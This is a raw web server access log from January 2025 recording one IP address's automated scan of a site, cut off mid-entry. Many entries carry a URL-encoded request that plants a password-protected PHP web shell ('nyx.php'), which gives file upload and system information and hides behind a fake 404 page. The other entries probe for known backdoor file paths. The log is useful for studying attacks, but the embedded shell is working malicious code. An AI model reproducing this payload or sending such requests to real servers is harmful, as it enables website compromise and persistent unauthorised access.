/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /nee.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-content/radio.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /admin.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /lol.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /defau1t.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /xindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /.well-known/xwolfx.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /demo328/fw.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /Cpanel.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /wp-admin/js/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /wp-admin/style.php HTTP/1.1" 302 238 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:02 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:04 +0530] "GET /1975.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:05 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:05 +0530] "GET /wp-content/wp-logins.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:05 +0530] "GET /images/indexalt.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:05 +0530] "GET /wp-content/wp-admin.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 